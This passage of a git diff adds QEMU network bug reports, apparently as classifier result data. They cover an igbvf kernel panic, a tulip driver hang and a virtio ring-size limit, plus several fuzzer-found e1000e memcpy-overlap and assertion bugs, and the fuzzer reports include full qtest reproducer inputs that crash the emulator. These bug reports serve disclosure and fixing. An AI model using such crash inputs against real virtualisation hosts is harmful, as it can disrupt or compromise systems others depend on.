486.801520] CR2: 00007faf740ec058 CR3: 000000010a40c004 CR4: 0000000000770ee0 +[ 486.802856] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 +[ 486.804171] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 +[ 486.805459] PKRU: 55555554 +[ 486.806291] Call Trace: +[ 486.807083] <IRQ> +[ 486.807822] igbvf_clean_rx_irq.constprop.0.isra.0+0x1b4/0x600 [igbvf] +[ 486.809027] igbvf_poll+0x3d/0x210 [igbvf] +[ 486.809981] __napi_poll+0x27/0x170 +[ 486.810886] net_rx_action+0x233/0x2f0 +[ 486.811777] __do_softirq+0xc7/0x2ac +[ 486.812644] __irq_exit_rcu+0xb5/0xe0 +[ 486.813515] common_interrupt+0x80/0xa0 +[ 486.814404] </IRQ> +[ 486.815113] <TASK> +[ 486.815800] asm_common_interrupt+0x22/0x40 +[ 486.816710] RIP: 0010:default_idle+0x10/0x20 +[ 486.817631] Code: cc 0f ae f0 0f ae 38 0f ae f0 eb b5 66 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 0f 1f 44 00 00 66 90 0f 00 2d 7e 3e 4d 00 fb f4 <c3> cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 0f 1f 44 00 00 65 +[ 486.820523] RSP: 0018:ffffaef2000afed0 EFLAGS: 00000246 +[ 486.821705] RAX: ffffffff99f36ea0 RBX: ffff90bb4032a300 RCX: ffff90bd581f2430 +[ 486.822936] RDX: 000000000013bd13 RSI: 0000000000000001 RDI: 000000000013bd14 +[ 486.824165] RBP: 0000000000000000 R08: 0000007155e9e493 R09: ffff90bb437f4800 +[ 486.825374] R10: 0000000000000232 R11: 0000000000000000 R12: 0000000000000000 +[ 486.826581] R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000 +[ 486.827777] ? mwait_idle+0x80/0x80 +[ 486.828593] default_idle_call+0x33/0xe0 +[ 486.829479] cpuidle_idle_call+0x15d/0x1c0 +[ 486.830381] ? kvm_sched_clock_read+0x14/0x40 +[ 486.831289] do_idle+0x7b/0xe0 +[ 486.832035] cpu_startup_entry+0x19/0x20 +[ 486.833076] start_secondary+0x116/0x140 +[ 486.834527] secondary_startup_64_no_verify+0xe5/0xeb +[ 486.835953] </TASK> +[ 486.836991] Modules linked in: igbvf veth ipt_REJECT nf_reject_ipv4 xt_nat xt_CT vhost_net vhost vhost_iotlb tap tun nf_conntrack_netlink tls xt_MASQUERADE nft_chain_nat xt_mark xt_conntrack xt_comment nft_compat nft_counter nf_tables rfkill geneve ip6_udp_tunnel udp_tunnel nfnetlink_cttimeout nfnetlink openvswitch nf_conncount nf_nat nf_conntrack nf_defrag_ipv6 nf_defrag_ipv4 overlay ext4 mbcache jbd2 intel_rapl_msr intel_rapl_common isst_if_common nfit libnvdimm kvm_intel kvm irqbypass rapl iTCO_wdt iTCO_vendor_support cirrus drm_shmem_helper drm_kms_helper pcspkr i2c_i801 syscopyarea sysfillrect i2c_smbus sysimgblt virtio_balloon lpc_ich fb_sys_fops joydev ip_tables drm xfs libcrc32c dm_multipath sr_mod cdrom sg igb nvme_tcp ahci nvme_fabrics nvme libahci nvme_core virtio_net crct10dif_pclmul libata i2c_algo_bit crc32_pclmul dca virtio_console net_failover nvme_common virtio_blk t10_pi crc32c_intel failover ghash_clmulni_intel serio_raw dm_mirror dm_region_hash dm_log dm_mod fuse +[ 486.852907] ---[ end trace d1f9cdb1a6c92411 ]--- +[ 486.854263] RIP: 0010:eth_type_trans+0xd3/0x140 +[ 486.855234] Code: 80 00 00 00 eb c1 8b 47 70 2b 47 74 48 8b 97 c8 00 00 00 83 f8 01 7e 1b 48 85 d2 74 06 66 83 3a ff 74 09 b8 00 04 00 00 eb a5 <0f> 0b b8 00 01 00 00 eb 9c 48 85 ff 74 eb 31 f6 b9 02 00 00 00 48 +[ 486.858732] RSP: 0018:ffffaef200114e30 EFLAGS: 00010283 +[ 486.859777] RAX: 000000000000002e RBX: ffffaef206a38000 RCX: 0000000000000028 +[ 486.861020] RDX: ffff90bb7767a840 RSI: ffff90bc7d6a0000 RDI: ffff90bb413bc600 +[ 486.862238] RBP: ffff90bb413bc600 R08: 0000000000000000 R09: ffff90bc7d6a0980 +[ 486.863478] R10: 000000000000003c R11: 00000001a8be8000 R12: 0000000000000001 +[ 486.864718] R13: 0000000000000003 R14: ffff90bd3b94e400 R15: ffff90bdcbc8c000 +[ 486.865969] FS: 0000000000000000(0000) GS:ffff90beafc40000(0000) knlGS:0000000000000000 +[ 486.867317] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 +[ 486.868458] CR2: 00007faf740ec058 CR3: 000000010a40c004 CR4: 0000000000770ee0 +[ 486.869705] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 +[ 486.870959] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 +[ 486.872212] PKRU: 55555554 +[ 486.873040] Kernel panic - not syncing: Fatal exception in interrupt +[ 486.875441] Kernel Offset: 0x18400000 from 0xffffffff81000000 (relocation range: 0xffffffff80000000-0xffffffffbfffffff) +[ 486.877044] Rebooting in 10 seconds.. +``` +Steps to reproduce: +1. create a vm using igb driver for the network interface +2. change the MTU of the PF to 9000 +3. allocate virtual functions +4. change the MTU on the virtual function (vm crash) +Additional information: + diff --git a/results/classifier/gemma3:12b/network/1874539 b/results/classifier/gemma3:12b/network/1874539 new file mode 100644 index 000000000..0b5afc787 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1874539 @@ -0,0 +1,20 @@ + +tulip driver broken in v5.0.0-rc4 + +In a qemu-system-hppa system, qemu release v5.0.0-rc, the tulip nic driver is broken. +The tulip nic is detected, even getting DHCP info does work. +But when trying to download bigger files via network, the tulip driver gets stuck. + +For example when trying to download a 100MB file: + +root@debian:~# wget https://speed.hetzner.de/100MB.bin +--2020-04-23 20:26:43-- https://speed.hetzner.de/100MB.bin +Resolving speed.hetzner.de (speed.hetzner.de)... 88.198.248.254, 2a01:4f8:0:59ed::2 +Connecting to speed.hetzner.de (speed.hetzner.de)|88.198.248.254|:443... connected. +<waiting and stuck here> + +When reverting this commit, everything works again: +commit 8ffb7265af64ec81748335ec8f20e7ab542c3850 +Author: Prasad J Pandit <email address hidden> +Date: Tue Mar 24 22:57:22 2020 +0530 +PATCH: net: tulip: check frame size and r/w data length \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1874676 b/results/classifier/gemma3:12b/network/1874676 new file mode 100644 index 000000000..370d29be6 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1874676 @@ -0,0 +1,9 @@ + +[Feature request] MDIO bus + +Various network devices open-code a MDIO bus with a dedicated PHY. +Introduce a new MDIO subsystem to +- reuse various duplicated components +- be able to interchange PHYs +- have common tracing +- use libqos to test all the PHYs from different NICs \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1877015 b/results/classifier/gemma3:12b/network/1877015 new file mode 100644 index 000000000..06702e233 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1877015 @@ -0,0 +1,10 @@ + +virtio only support packed ring size power of 2 + +Issue discription： +When QEMU starts with "-device virtio-net-pci,netdev=netdev0,mac=52:54:00:00:00:01,disable-modern=false,mrg_rxbuf=on,rx_queue_size=1025,tx_queue_size=1025,mq=on,vectors=15,packed=on" + +It raises error: Invalid rx_queue_size (= 1025), must be a power of 2 between 256 and 1024 + +Analysis: +According to virtio1.1 spec, the packed queue size value does not have to be a power of 2. \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1878034 b/results/classifier/gemma3:12b/network/1878034 new file mode 100644 index 000000000..1b4a284d2 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1878034 @@ -0,0 +1,48 @@ + +memcpy param-overlap through e1000e_write_to_rx_buffers + +Hello, +While fuzzing, I found an input that triggers an overlapping memcpy (caught by AddressSanitizer). +Overlapping memcpys are undefined behavior according to the POSIX and C standards, and can lead to bugs. + +==22287==ERROR: AddressSanitizer: memcpy-param-overlap: memory ranges +#0 0x563c9f4823d4 in __asan_memcpy (/home/alxndr/Development/qemu/build/i386-softmmu/qemu-system-i386+0x97a3d4) +#1 0x563c9f4cb2b1 in flatview_write_continue /home/alxndr/Development/qemu/exec.c:3142:13 +#2 0x563c9f4c3b97 in flatview_write /home/alxndr/Development/qemu/exec.c:3177:14 +#3 0x563c9f4c3b97 in address_space_write /home/alxndr/Development/qemu/exec.c:3268:18 +#4 0x563c9fbc457b in dma_memory_rw_relaxed /home/alxndr/Development/qemu/include/sysemu/dma.h:87:18 +#5 0x563c9fbc457b in dma_memory_rw /home/alxndr/Development/qemu/include/sysemu/dma.h:110:12 +#6 0x563c9fbc457b in pci_dma_rw /home/alxndr/Development/qemu/include/hw/pci/pci.h:787:5 +#7 0x563c9fbc457b in pci_dma_write /home/alxndr/Development/qemu/include/hw/pci/pci.h:800:12 +#8 0x563c9fbc457b in e1000e_write_to_rx_buffers /home/alxndr/Development/qemu/hw/net/e1000e_core.c:1412:9 +#9 0x563c9fbb9c98 in e1000e_write_packet_to_guest /home/alxndr/Development/qemu/hw/net/e1000e_core.c:1582:21 +#10 0x563c9fbb9c98 in e1000e_receive_iov /home/alxndr/Development/qemu/hw/net/e1000e_core.c:1709:9 +#11 0x563c9fba8080 in net_tx_pkt_sendv /home/alxndr/Development/qemu/hw/net/net_tx_pkt.c:544:9 +#12 0x563c9fba8080 in net_tx_pkt_send /home/alxndr/Development/qemu/hw/net/net_tx_pkt.c:620:9 +#13 0x563c9fba8827 in net_tx_pkt_send_loopback /home/alxndr/Development/qemu/hw/net/net_tx_pkt.c:633:11 +#14 0x563c9fbd2052 in e1000e_tx_pkt_send /home/alxndr/Development/qemu/hw/net/e1000e_core.c:664:16 +#15 0x563c9fbd2052 in e1000e_process_tx_desc /home/alxndr/Development/qemu/hw/net/e1000e_core.c:743:17 +#16 0x563c9fbd2052 in e1000e_start_xmit /home/alxndr/Development/qemu/hw/net/e1000e_core.c:934:9 +#17 0x563c9fbcecf0 in e1000e_set_tdt /home/alxndr/Development/qemu/hw/net/e1000e_core.c:2451:9 +#18 0x563c9fbbf20c in e1000e_core_write /home/alxndr/Development/qemu/hw/net/e1000e_core.c:3261:9 +#19 0x563c9f5b68d6 in memory_region_write_accessor /home/alxndr/Development/qemu/memory.c:483:5 +#20 0x563c9f5b627f in access_with_adjusted_size /home/alxndr/Development/qemu/memory.c:544:18 +#21 0x563c9f5b627f in memory_region_dispatch_write /home/alxndr/Development/qemu/memory.c:1476:16 + +I can reproduce it in qemu 5.0 built with --enable-sanitizers using: +cat << EOF | ~/Development/qemu/build/i386-softmmu/qemu-system-i386 -M pc-q35-5.0 -accel qtest -qtest stdio -nographic -monitor none -serial none +outl 0xcf8 0x80001010 +outl 0xcfc 0xe1020000 +outl 0xcf8 0x80001014 +outl 0xcf8 0x80001004 +outw 0xcfc 0x7 +outl 0xcf8 0x800010a2 +write 0xe102003a 0x3ff 0xd1055e2d3b0002e10000000001ffd3055e2d3b0002e10000000001ffd5055e2d3b0002e10000000001ffd7055e2d3b0002e10000000001ffd9055e2d3b0002e10000000001ffdb055e2d3b0002e10000000001ffdd055e2d3b0002e10000000001ffdf055e2d3b0002e10000000001ffe1055e2d3b0002e10000000001ffe3055e2d3b0002e10000000001ffe5055e2d3b0002e10000000001ffe7055e2d3b0002e10000000001ffe9055e2d3b0002e10000000001ffeb055e2d3b0002e10000000001ffed055e2d3b0002e10000000001ffef055e2d3b0002e10000000001fff1055e2d3b0002e10000000001fff3055e2d3b0002e10000000001fff5055e2d3b0002e10000000001fff7055e2d3b0002e10000000001fff9055e2d3b0002e10000000001fffb055e2d3b0002e10000000001fffd055e2d3b0002e10000000001ffff055e2d3b0002e10000000001ff01055e2d3b0002e10000000001ff03055e2d3b0002e10000000001ff05055e2d3b0002e10000000001ff07055e2d3b0002e10000000001ff09055e2d3b0002e10000000001ff0b055e2d3b0002e10000000001ff0d055e2d3b0002e10000000001ff0f055e2d3b0002e10000000001ff11055e2d3b0002e10000000001ff13055e2d3b0002e10000000001ff15055e2d3b0002e10000000001ff17055e2d3b0002e10000000001ff19055e2d3b0002e10000000001ff1b055e2d3b0002e10000000001ff1d055e2d3b0002e10000000001ff1f055e2d3b0002e10000000001ff21055e2d3b0002e10000000001ff23055e2d3b0002e10000000001ff25055e2d3b0002e10000000001ff27055e2d3b0002e10000000001ff29055e2d3b0002e10000000001ff2b055e2d3b0002e10000000001ff2d055e2d3b0002e10000000001ff2f055e2d3b0002e10000000001ff31055e2d3b0002e10000000001ff33055e2d3b0002e10000000001ff35055e2d3b0002e10000000001ff37055e2d3b0002e10000000001ff39055e2d3b0002e10000000001ff3b055e2d3b0002e10000000001ff3d055e2d3b0002e10000000001ff3f055e2d3b0002e10000000001ff41055e2d3b0002e10000000001ff43055e2d3b0002e10000000001ff45055e2d3b0002e10000000001ff47055e2d3b0002e10000000001ff49055e2d3b0002e10000000001ff4b055e2d3b0002e10000000001ff4d055e2d3b0002e10000000001ff4f055e2d3b0002e10000000001ff51055e2d3b0002e10000000001ff53055e2d3b0002e10000000001ff55055e2d3b0002e10000000001ff57055e2d3b0002e10000000001ff59055e2d3b0002e10000000001ff5b055e2d3b0002e10000000001ff5d055e2d3b0002e10000000001ff5f055e2d3b0002e10000000001ff61055e2d3b0002e10000000001ff63 +EOF + +I also attached the trace to this launchpad report, in case the formatting is broken: + +qemu-system-i386 -M pc-q35-5.0 -accel qtest -qtest stdio -nographic -monitor none -serial none < attachment + +Please let me know if I can provide any further info. +-Alex \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1878043 b/results/classifier/gemma3:12b/network/1878043 new file mode 100644 index 000000000..57cd4ce9a --- /dev/null +++ b/results/classifier/gemma3:12b/network/1878043 @@ -0,0 +1,70 @@ + +memcpy param-overlap in Slirp ip_stripoptions through e1000e + +Hello, +While fuzzing, I found an input that triggers an overlapping memcpy (caught by AddressSanitizer). +Overlapping memcpys are undefined behavior according to the POSIX and C standards, and can lead to bugs. + +==16666==ERROR: AddressSanitizer: memcpy-param-overlap: memory ranges [0x625000264940,0x62500026699a) and [0x625000264948, 0x6250002669a2) overlap + #0 0x5622d7b6a3d4 in __asan_memcpy (/home/alxndr/Development/qemu/build/i386-softmmu/qemu-system-i386+0x96c3d4) + #1 0x5622d896a2d2 in ip_stripoptions /home/alxndr/Development/qemu/slirp/src/ip_input.c:457:5 + #2 0x5622d8963378 in udp_input /home/alxndr/Development/qemu/slirp/src/udp.c:86:9 + #3 0x5622d89351ea in slirp_input /home/alxndr/Development/qemu/slirp/src/slirp.c:840:13 + #4 0x5622d852e162 in net_slirp_receive /home/alxndr/Development/qemu/net/slirp.c:126:5 + #5 0x5622d8515851 in nc_sendv_compat /home/alxndr/Development/qemu/net/net.c:700:15 + #6 0x5622d8515851 in qemu_deliver_packet_iov /home/alxndr/Development/qemu/net/net.c:728:15 + #7 0x5622d851786d in qemu_net_queue_deliver_iov /home/alxndr/Development/qemu/net/queue.c:179:11 + #8 0x5622d851786d in qemu_net_queue_send_iov /home/alxndr/Development/qemu/net/queue.c:224:11 + #9 0x5622d851b1c1 in net_hub_receive_iov /home/alxndr/Development/qemu/net/hub.c:74:9 + #10 0x5622d851b1c1 in net_hub_port_receive_iov /home/alxndr/Development/qemu/net/hub.c:125:12 + #11 0x5622d851572b in qemu_deliver_packet_iov /home/alxndr/Development/qemu/net/net.c:726:15 + #12 0x5622d851786d in qemu_net_queue_deliver_iov /home/alxndr/Development/qemu/net/queue.c:179:11 + #13 0x5622d851786d in qemu_net_queue_send_iov /home/alxndr/Development/qemu/net/queue.c:224:11 + #14 0x5622d828bf87 in net_tx_pkt_sendv /home/alxndr/Development/qemu/hw/net/net_tx_pkt.c:546:9 + #15 0x5622d828bf87 in net_tx_pkt_send /home/alxndr/Development/qemu/hw/net/net_tx_pkt.c:620:9 + #16 0x5622d82b5f22 in e1000e_tx_pkt_send /home/alxndr/Development/qemu/hw/net/e1000e_core.c:666:16 + #17 0x5622d82b5f22 in e1000e_process_tx_desc /home/alxndr/Development/qemu/hw/net/e1000e_core.c:743:17 + #18 0x5622d82b5f22 in e1000e_start_xmit /home/alxndr/Development/qemu/hw/net/e1000e_core.c:934:9 + #19 0x5622d82b2be0 in e1000e_set_tdt /home/alxndr/Development/qemu/hw/net/e1000e_core.c:2451:9 + #20 0x5622d82a30fc in e1000e_core_write /home/alxndr/Development/qemu/hw/net/e1000e_core.c:3261:9 + #21 0x5622d7c9e336 in memory_region_write_accessor /home/alxndr/Development/qemu/memory.c:483:5 + #22 0x5622d7c9dcdf in access_with_adjusted_size /home/alxndr/Development/qemu/memory.c:544:18 + #23 0x5622d7c9dcdf in memory_region_dispatch_write /home/alxndr/Development/qemu/memory.c:1476:16 + #24 0x5622d7bb31d3 in flatview_write_continue /home/alxndr/Development/qemu/exec.c:3137:23 + #25 0x5622d7babb97 in flatview_write /home/alxndr/Development/qemu/exec.c:3177:14 + #26 0x5622d7babb97 in address_space_write /home/alxndr/Development/qemu/exec.c:3268:18 + +0x625000264940 is located 64 bytes inside of 8354-byte region [0x625000264900,0x6250002669a2) +allocated by thread T0 here: + #0 0x5622d7b6b06d in malloc (/home/alxndr/Development/qemu/build/i386-softmmu/qemu-system-i386+0x96d06d) + #1 0x7f724b932500 in g_malloc (/usr/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x54500) + +0x625000264948 is located 72 bytes inside of 8354-byte region [0x625000264900,0x6250002669a2) +allocated by thread T0 here: + #0 0x5622d7b6b06d in malloc (/home/alxndr/Development/qemu/build/i386-softmmu/qemu-system-i386+0x96d06d) + #1 0x7f724b932500 in g_malloc (/usr/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x54500) + +I can reproduce it in qemu 5.0 built with --enable-sanitizers using: +cat << EOF | ~/Development/qemu/build/i386-softmmu/qemu-system-i386 -M pc-q35-5.0 -accel qtest -qtest stdio -nographic -monitor none -serial none +outl 0xcf8 0x80001010 +outl 0xcfc 0xe1020000 +outl 0xcf8 0x80001014 +outl 0xcf8 0x80001004 +outw 0xcfc 0x7 +outl 0xcf8 0x800010a2 +outl 0xcf8 0x8000fa24 +outl 0xcfc 0xe1069000 +outl 0xcf8 0x8000fa04 +outw 0xcfc 0x7 +outl 0xcf8 0x8000fb20 +write 0xe1069100 0xe 0xff810000000000008420f9e10019 +write 0x820b 0xc 0x080047bb0c02e10000004011 +write 0xe1020403 0x36 0xb700000000e1000f009006e100000000625c5e0000b700000000e1000f009006e100000000625c5e0000b700000000e1000f009006e1 +EOF + +I also attached the trace to this launchpad report, in case the formatting is broken: + +qemu-system-i386 -M pc-q35-5.0 -accel qtest -qtest stdio -nographic -monitor none -serial none < attachment + +Please let me know if I can provide any further info. +-Alex \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1878067 b/results/classifier/gemma3:12b/network/1878067 new file mode 100644 index 000000000..4a40e1b6c --- /dev/null +++ b/results/classifier/gemma3:12b/network/1878067 @@ -0,0 +1,41 @@ + +Assertion failure in eth_get_gso_type through the e1000e + +Hello, +While fuzzing, I found an input that triggers an assertion failure in +eth_get_gso_type through the e1000e: + +#1 0x00007ffff685755b in __GI_abort () at abort.c:79 +#2 0x00007ffff7c75dc3 in () at /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0 +#3 0x00007ffff7cd0b0a in g_assertion_message_expr () at /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0 +#4 0x0000555556875f33 in eth_get_gso_type (l3_proto=<optimized out>, l3_hdr=<optimized out>, l4proto=<optimized out>) at /home/alxndr/Development/qemu/net/eth.c:76 +#5 0x00005555565e09ac in net_tx_pkt_get_gso_type (pkt=0x631000014800, tso_enable=0x1) at /home/alxndr/Development/qemu/hw/net/net_tx_pkt.c:300 +#6 0x00005555565e09ac in net_tx_pkt_build_vheader (pkt=0x631000014800, tso_enable=<optimized out>, csum_enable=<optimized out>, gso_size=<optimized out>) at /home/alxndr/Development/qemu/hw/net/net_tx_pkt.c:316 +#7 0x000055555660bdb1 in e1000e_setup_tx_offloads (core=0x7fffeeb754e0, tx=0x7fffeeb95748) at /home/alxndr/Development/qemu/hw/net/e1000e_core.c:637 +#8 0x000055555660bdb1 in e1000e_tx_pkt_send (core=0x7fffeeb754e0, tx=0x7fffeeb95748, queue_index=<optimized out>) at /home/alxndr/Development/qemu/hw/net/e1000e_core.c:658 +#9 0x000055555660bdb1 in e1000e_process_tx_desc (core=0x7fffeeb754e0, tx=0x7fffeeb95748, dp=<optimized out>, queue_index=<optimized out>) at /home/alxndr/Development/qemu/hw/net/e1000e_core.c:743 +#10 0x000055555660bdb1 in e1000e_start_xmit (core=core@entry=0x7fffeeb754e0, txr=<optimized out>, txr@entry=0x7fffffffbe60) at /home/alxndr/Development/qemu/hw/net/e1000e_core.c:934 +#11 0x0000555556607e2e in e1000e_set_tctl (core=0x7fffeeb754e0, index=<optimized out>, val=<optimized out>) at /home/alxndr/Development/qemu/hw/net/e1000e_core.c:2431 +#12 0x00005555565f90fd in e1000e_core_write (core=<optimized out>, addr=<optimized out>, val=<optimized out>, size=<optimized out>) at /home/alxndr/Development/qemu/hw/net/e1000e_core.c:3261 +#13 0x0000555555ff4337 in memory_region_write_accessor (mr=<optimized out>, addr=<optimized out>, value=<optimized out>, size=<optimized out>, shift=<optimized out>, mask=<optimized out>, attrs=...) at /home/alxndr/Development/qemu/memory.c:483 +#14 0x0000555555ff3ce0 in access_with_adjusted_size (addr=<optimized out>, value=<optimized out>, size=<optimized out>, access_size_min=<optimized out>, access_size_max=<optimized out>, access_fn=<optimized out>, mr=0x7fffeeb75110, attrs=...) at /home/alxndr/Development/qemu/memory.c:544 +#15 0x0000555555ff3ce0 in memory_region_dispatch_write (mr=<optimized out>, addr=<optimized out>, data=0x2b, op=<optimized out>, attrs=...) at /home/alxndr/Development/qemu/memory.c:1476 + +I can reproduce it in qemu 5.0 built with using: +cat << EOF | ~/Development/qemu/build/i386-softmmu/qemu-system-i386 -M pc-q35-5.0 -netdev user,id=qtest-bn0 -device e1000e,netdev=qtest-bn0 -display none -nodefaults -nographic -qtest stdio -monitor none -serial none +outl 0xcf8 0x80000810 +outl 0xcfc 0xe0000000 +outl 0xcf8 0x80000814 +outl 0xcf8 0x80000804 +outw 0xcfc 0x7 +outl 0xcf8 0x800008a2 +write 0xe0000420 0x1fc 0x3ff9ffdf00000000002467ff272d2f3ff9ffdf0000000000246fff272d2f3ff9ffdf00000000002477ff272d2f3ff9ffdf0000000000247fff272d2f3ff9ffdf00000000002487ff272d2f3ff9ffdf0000000000248fff272d2f3ff9ffdf00000000002497ff272d2f3ff9ffdf0000000000249fff272d2f3ff9ffdf000000000024a7ff272d2f3ff9ffdf000000000024afff272d2f3ff9ffdf000000000024b7ff272d2f3ff9ffdf000000000024bfff272d2f3ff9ffdf000000000024c7ff272d2f3ff9ffdf000000000024cfff272d2f3ff9ffdf000000000024d7ff272d2f3ff9ffdf000000000024dfff272d2f3ff9ffdf000000000024e7ff272d2f3ff9ffdf000000000024efff272d2f3ff9ffdf000000000024f7ff272d2f3ff9ffdf000000000024ffff272d2f3ff9ffdf00000000002407ff272d2f3ff9ffdf0000000000240fff272d2f3ff9ffdf00000000002417ff272d2f3ff9ffdf0000000000241fff272d2f3ff9ffdf00000000002427ff272d2f3ff9ffdf0000000000242fff272d2f3ff9ffdf00000000002437ff272d2f3ff9ffdf0000000000243fff272d2f3ff9ffdf00000000002447ff272d2f3ff9ffdf0000000000244fff272d2f3ff9ffdf00000000002457ff272d2f3ff9ffdf0000000000245fff272d2f3ff9ffdf00000000002467ff272d2f3ff9ffdf0000000000246fff27 +write 0xe00000b8 0x349 0xa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52bff003100ffa300f52b +EOF + +I also attached the trace to this launchpad report, in case the formatting is broken: + +qemu-system-i386 -M pc-q35-5.0 -netdev user,id=qtest-bn0 -device e1000e,netdev=qtest-bn0 -display none -nodefaults -nographic -qtest stdio -monitor none -serial none < attachment + +Please let me know if I can provide any further info. +-Alex \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1878250 b/results/classifier/gemma3:12b/network/1878250 new file mode 100644 index 000000000..aad258655 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1878250 @@ -0,0 +1,42 @@ + +Assertion failure in iov_from_buf_full through the e1000e + +Hello, +While fuzzing, I found an input that triggers an assertion failure in +iov_from_buf_full through the e1000e: + +size_t iov_from_buf_full(const struct iovec *, unsigned int, size_t, const void *, size_t): Assertion `offset == 0' failed. + + +#3 0x00007ffff6866092 in __GI___assert_fail (assertion=0x5555570c74c0 <str> "offset == 0", file=0x5555570c7500 <str> "/home/alxndr/Development/qemu/util/iov.c", line=0x28, function=0x5555570c7560 <__PRETTY_FUNCTION__.iov_from_buf_full> "size_t iov_from_buf_full(const struct iovec *, unsigned int, size_t, const void *, size_t)") at assert.c:101 +#4 0x0000555556c5fa5e in iov_from_buf_full (iov=<optimized out>, iov_cnt=<optimized out>, offset=<optimized out>, buf=buf@entry=0x7fffffffbb60, bytes=<optimized out>, bytes@entry=0x2) at /home/alxndr/Development/qemu/util/iov.c:40 +#5 0x00005555565f585e in iov_from_buf (iov=0x7fffffffb830, iov_cnt=0xffffb830, offset=0x0, buf=0x7fffffffbb60, bytes=0x2) at /home/alxndr/Development/qemu/include/qemu/iov.h:49 +#6 0x00005555565f585e in net_tx_pkt_update_ip_checksums (pkt=<optimized out>) at /home/alxndr/Development/qemu/hw/net/net_tx_pkt.c:139 +#7 0x0000555556621f9c in e1000e_setup_tx_offloads (core=0x7fffeeb754e0, tx=0x7fffeeb95748) at /home/alxndr/Development/qemu/hw/net/e1000e_core.c:638 +#8 0x0000555556621f9c in e1000e_tx_pkt_send (core=0x7fffeeb754e0, tx=0x7fffeeb95748, queue_index=<optimized out>) at /home/alxndr/Development/qemu/hw/net/e1000e_core.c:658 +#9 0x0000555556621f9c in e1000e_process_tx_desc (core=0x7fffeeb754e0, tx=0x7fffeeb95748, dp=<optimized out>, queue_index=<optimized out>) at /home/alxndr/Development/qemu/hw/net/e1000e_core.c:743 +#10 0x0000555556621f9c in e1000e_start_xmit (core=<optimized out>, txr=<optimized out>) at /home/alxndr/Development/qemu/hw/net/e1000e_core.c:934 +#11 0x000055555661edb1 in e1000e_set_tdt (core=0x7fffffffb830, index=0xe06, val=0x563) at /home/alxndr/Development/qemu/hw/net/e1000e_core.c:2451 +#12 0x000055555660f2cd in e1000e_core_write (core=<optimized out>, addr=<optimized out>, val=<optimized out>, size=<optimized out>) at /home/alxndr/Development/qemu/hw/net/e1000e_core.c:3261 +#13 0x00005555560028d7 in memory_region_write_accessor (mr=<optimized out>, addr=<optimized out>, value=<optimized out>, size=<optimized out>, shift=<optimized out>, mask=<optimized out>, attrs=...) at /home/alxndr/Development/qemu/memory.c:483 + +I can reproduce it in qemu 5.0 using: + +cat << EOF | ~/Development/qemu/build/i386-softmmu/qemu-system-i386 -M pc-q35-5.0 -nographic -qtest stdio -monitor none -serial none +outl 0xcf8 0x80001010 +outl 0xcfc 0xe1020000 +outl 0xcf8 0x80001014 +outl 0xcf8 0x80001004 +outw 0xcfc 0x7 +outl 0xcf8 0x800010a2 +write 0xe10207e8 0x14 0x00002d05225f3f5f5e00000200000000250013ff +write 0x200006a 0xc 0x08004500feffffff02007b06 +write 0xe1020098 0x3a2 